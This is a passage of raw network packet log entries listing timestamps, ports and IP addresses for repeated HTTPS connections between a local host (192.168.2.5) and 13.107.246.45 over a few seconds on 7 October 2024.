Oct 7, 2024 06:44:46.923250914 CEST	49903	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.923264980 CEST	443	49903	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.925484896 CEST	49908	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.925529003 CEST	443	49908	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:46.925601959 CEST	49908	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.925721884 CEST	49908	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:46.925734997 CEST	443	49908	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.009854078 CEST	443	49904	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.010015965 CEST	443	49904	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.010195971 CEST	49904	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.010231018 CEST	49904	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.010247946 CEST	443	49904	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.010260105 CEST	49904	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.010267973 CEST	443	49904	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.013283014 CEST	49909	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.013339996 CEST	443	49909	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.013464928 CEST	49909	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.013636112 CEST	49909	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.013649940 CEST	443	49909	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.089684010 CEST	443	49905	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.090423107 CEST	49905	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.090476990 CEST	443	49905	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.090837955 CEST	49905	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.090845108 CEST	443	49905	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.189234972 CEST	443	49905	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.189331055 CEST	443	49905	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.189377069 CEST	443	49905	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.189511061 CEST	49905	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.189511061 CEST	49905	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.189707041 CEST	49905	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.189707041 CEST	49905	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.189732075 CEST	443	49905	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.189739943 CEST	443	49905	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.192749023 CEST	49910	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.192820072 CEST	443	49910	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.192900896 CEST	49910	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.193085909 CEST	49910	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.193104982 CEST	443	49910	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.415498972 CEST	443	49906	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.416212082 CEST	49906	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.416239977 CEST	443	49906	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.416757107 CEST	49906	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.416764021 CEST	443	49906	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.437828064 CEST	443	49907	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.438431025 CEST	49907	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.438453913 CEST	443	49907	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.439368010 CEST	49907	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.439373016 CEST	443	49907	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.515034914 CEST	443	49906	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.515211105 CEST	443	49906	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.515265942 CEST	49906	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.515444040 CEST	49906	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.515444040 CEST	49906	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.515461922 CEST	443	49906	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.515470982 CEST	443	49906	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.518776894 CEST	49911	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.518821001 CEST	443	49911	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.518884897 CEST	49911	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.519176960 CEST	49911	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.519191980 CEST	443	49911	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.537683010 CEST	443	49907	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.537717104 CEST	443	49907	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.537807941 CEST	49907	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.537821054 CEST	443	49907	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.537903070 CEST	443	49907	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.537950039 CEST	49907	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.538001060 CEST	49907	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.538012981 CEST	443	49907	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.538022041 CEST	49907	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.538027048 CEST	443	49907	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.540612936 CEST	49912	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.540657997 CEST	443	49912	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.540759087 CEST	49912	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.540884972 CEST	49912	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.540899992 CEST	443	49912	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.573009014 CEST	443	49908	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.573625088 CEST	49908	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.573637009 CEST	443	49908	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.573976994 CEST	49908	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.573982000 CEST	443	49908	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.663081884 CEST	443	49909	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.663621902 CEST	49909	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.663662910 CEST	443	49909	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.664184093 CEST	49909	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.664192915 CEST	443	49909	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.671062946 CEST	443	49908	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.671113014 CEST	443	49908	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.671185017 CEST	49908	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.671194077 CEST	443	49908	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.671241045 CEST	443	49908	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.671291113 CEST	49908	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.671416998 CEST	49908	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.671423912 CEST	443	49908	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.671435118 CEST	49908	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.671438932 CEST	443	49908	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.674312115 CEST	49913	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.674336910 CEST	443	49913	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.674422979 CEST	49913	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.674541950 CEST	49913	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.674549103 CEST	443	49913	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.762614965 CEST	443	49909	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.762686968 CEST	443	49909	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.762790918 CEST	443	49909	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.762886047 CEST	49909	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.762887001 CEST	49909	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.763047934 CEST	49909	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.763078928 CEST	443	49909	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.763093948 CEST	49909	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.763102055 CEST	443	49909	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.765755892 CEST	49914	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.765779018 CEST	443	49914	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.765888929 CEST	49914	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.766046047 CEST	49914	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.766055107 CEST	443	49914	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.822439909 CEST	443	49910	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.823095083 CEST	49910	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.823136091 CEST	443	49910	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.823540926 CEST	49910	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.823549032 CEST	443	49910	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.920835018 CEST	443	49910	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.920958042 CEST	443	49910	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.921125889 CEST	49910	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.921186924 CEST	49910	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.921216965 CEST	443	49910	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.921231985 CEST	49910	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.921240091 CEST	443	49910	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.924272060 CEST	49915	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.924321890 CEST	443	49915	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:47.924412012 CEST	49915	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.924535990 CEST	49915	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:47.924555063 CEST	443	49915	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.162492037 CEST	443	49911	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.163146973 CEST	49911	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:48.163187027 CEST	443	49911	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.163625002 CEST	49911	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:48.163630962 CEST	443	49911	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.174340010 CEST	443	49912	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.174808979 CEST	49912	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:48.174839973 CEST	443	49912	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.175164938 CEST	49912	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:48.175170898 CEST	443	49912	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.262070894 CEST	443	49911	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.262239933 CEST	443	49911	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.262294054 CEST	443	49911	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.262315035 CEST	49911	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:48.262350082 CEST	49911	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:48.262538910 CEST	49911	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:48.262554884 CEST	443	49911	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.262564898 CEST	49911	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:48.262569904 CEST	443	49911	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.265651941 CEST	49916	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:48.265734911 CEST	443	49916	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.265836000 CEST	49916	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:48.266026974 CEST	49916	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:48.266047955 CEST	443	49916	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.273006916 CEST	443	49912	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.273109913 CEST	443	49912	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.273175955 CEST	49912	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:48.273332119 CEST	49912	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:48.273350000 CEST	443	49912	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.273360014 CEST	49912	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:48.273366928 CEST	443	49912	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.275863886 CEST	49917	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:48.275903940 CEST	443	49917	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.275993109 CEST	49917	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:48.276144028 CEST	49917	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:48.276155949 CEST	443	49917	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.337305069 CEST	443	49913	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.337775946 CEST	49913	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:48.337790966 CEST	443	49913	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.338298082 CEST	49913	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:48.338303089 CEST	443	49913	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.414700031 CEST	443	49914	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.415299892 CEST	49914	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:48.415319920 CEST	443	49914	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.415771961 CEST	49914	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:48.415776968 CEST	443	49914	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.440156937 CEST	443	49913	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.440191031 CEST	443	49913	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.440248013 CEST	443	49913	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.440291882 CEST	49913	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:48.440323114 CEST	49913	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:48.440572977 CEST	49913	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:48.440587044 CEST	443	49913	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.440596104 CEST	49913	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:48.440602064 CEST	443	49913	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.443495035 CEST	49918	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:48.443521023 CEST	443	49918	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.443612099 CEST	49918	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:48.443783998 CEST	49918	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:48.443794966 CEST	443	49918	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.515563965 CEST	443	49914	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.515749931 CEST	443	49914	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.515815973 CEST	49914	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:48.515917063 CEST	49914	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:48.515930891 CEST	443	49914	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.515940905 CEST	49914	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:48.515945911 CEST	443	49914	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.518824100 CEST	49919	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:48.518888950 CEST	443	49919	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.518985987 CEST	49919	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:48.519150972 CEST	49919	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:48.519160986 CEST	443	49919	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.570198059 CEST	443	49915	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.570703983 CEST	49915	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:48.570739031 CEST	443	49915	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.571098089 CEST	49915	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:48.571103096 CEST	443	49915	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.670954943 CEST	443	49915	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.671014071 CEST	443	49915	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.671070099 CEST	443	49915	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.671246052 CEST	49915	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:48.671569109 CEST	49915	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:48.671591997 CEST	443	49915	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.671603918 CEST	49915	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:48.671610117 CEST	443	49915	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.674922943 CEST	49920	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:48.674964905 CEST	443	49920	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.675060034 CEST	49920	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:48.675276041 CEST	49920	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:48.675291061 CEST	443	49920	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.825988054 CEST	443	49916	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.826663017 CEST	49916	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:48.826715946 CEST	443	49916	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.827147007 CEST	49916	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:48.827158928 CEST	443	49916	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.910717010 CEST	443	49917	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.911303997 CEST	49917	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:48.911325932 CEST	443	49917	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.911771059 CEST	49917	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:48.911783934 CEST	443	49917	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.927248001 CEST	443	49916	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.927469969 CEST	443	49916	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.927700043 CEST	49916	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:48.927700043 CEST	49916	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:48.927700043 CEST	49916	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:48.930246115 CEST	49921	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:48.930295944 CEST	443	49921	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:48.930403948 CEST	49921	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:48.930526018 CEST	49921	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:48.930533886 CEST	443	49921	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.009396076 CEST	443	49917	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.009543896 CEST	443	49917	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.009609938 CEST	49917	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.009629965 CEST	443	49917	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.009650946 CEST	443	49917	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.009711981 CEST	49917	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.009839058 CEST	49917	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.009857893 CEST	443	49917	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.009884119 CEST	49917	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.009892941 CEST	443	49917	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.012803078 CEST	49922	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.012854099 CEST	443	49922	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.012938976 CEST	49922	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.013102055 CEST	49922	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.013113976 CEST	443	49922	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.107625961 CEST	443	49918	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.108262062 CEST	49918	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.108278036 CEST	443	49918	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.108709097 CEST	49918	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.108715057 CEST	443	49918	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.158138990 CEST	443	49919	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.158732891 CEST	49919	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.158766985 CEST	443	49919	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.159174919 CEST	49919	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.159188986 CEST	443	49919	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.209460020 CEST	443	49918	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.209625006 CEST	443	49918	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.209748983 CEST	49918	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.209806919 CEST	49918	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.209829092 CEST	443	49918	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.209841967 CEST	49918	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.209850073 CEST	443	49918	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.212541103 CEST	49923	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.212558031 CEST	443	49923	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.212626934 CEST	49923	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.212753057 CEST	49923	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.212762117 CEST	443	49923	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.235410929 CEST	49916	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.235461950 CEST	443	49916	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.256269932 CEST	443	49919	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.256418943 CEST	443	49919	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.256500006 CEST	49919	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.256668091 CEST	49919	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.256695032 CEST	443	49919	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.256721020 CEST	49919	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.256736994 CEST	443	49919	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.259066105 CEST	49924	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.259109974 CEST	443	49924	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.259183884 CEST	49924	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.259299040 CEST	49924	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.259311914 CEST	443	49924	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.308099031 CEST	443	49920	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.308522940 CEST	49920	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.308538914 CEST	443	49920	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.308974028 CEST	49920	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.308979034 CEST	443	49920	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.409328938 CEST	443	49920	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.409437895 CEST	443	49920	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.409478903 CEST	49920	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.409482956 CEST	443	49920	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.409531116 CEST	49920	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.409569979 CEST	49920	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.409589052 CEST	443	49920	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.409600019 CEST	49920	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.409605980 CEST	443	49920	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.411963940 CEST	49925	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.412049055 CEST	443	49925	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.412138939 CEST	49925	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.412250042 CEST	49925	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.412277937 CEST	443	49925	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.594083071 CEST	443	49921	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.594661951 CEST	49921	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.594691992 CEST	443	49921	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.595280886 CEST	49921	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.595287085 CEST	443	49921	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.650273085 CEST	443	49922	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.650882006 CEST	49922	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.650913954 CEST	443	49922	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.651328087 CEST	49922	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.651333094 CEST	443	49922	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.698369026 CEST	443	49921	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.698441982 CEST	443	49921	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.698498011 CEST	49921	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.698648930 CEST	49921	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.698664904 CEST	443	49921	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.698673010 CEST	49921	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.698678017 CEST	443	49921	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.701447964 CEST	49926	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.701483965 CEST	443	49926	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:49.701617002 CEST	49926	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.701916933 CEST	49926	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:49.701931953 CEST	443	49926	13.107.246.45	192.168.2.5
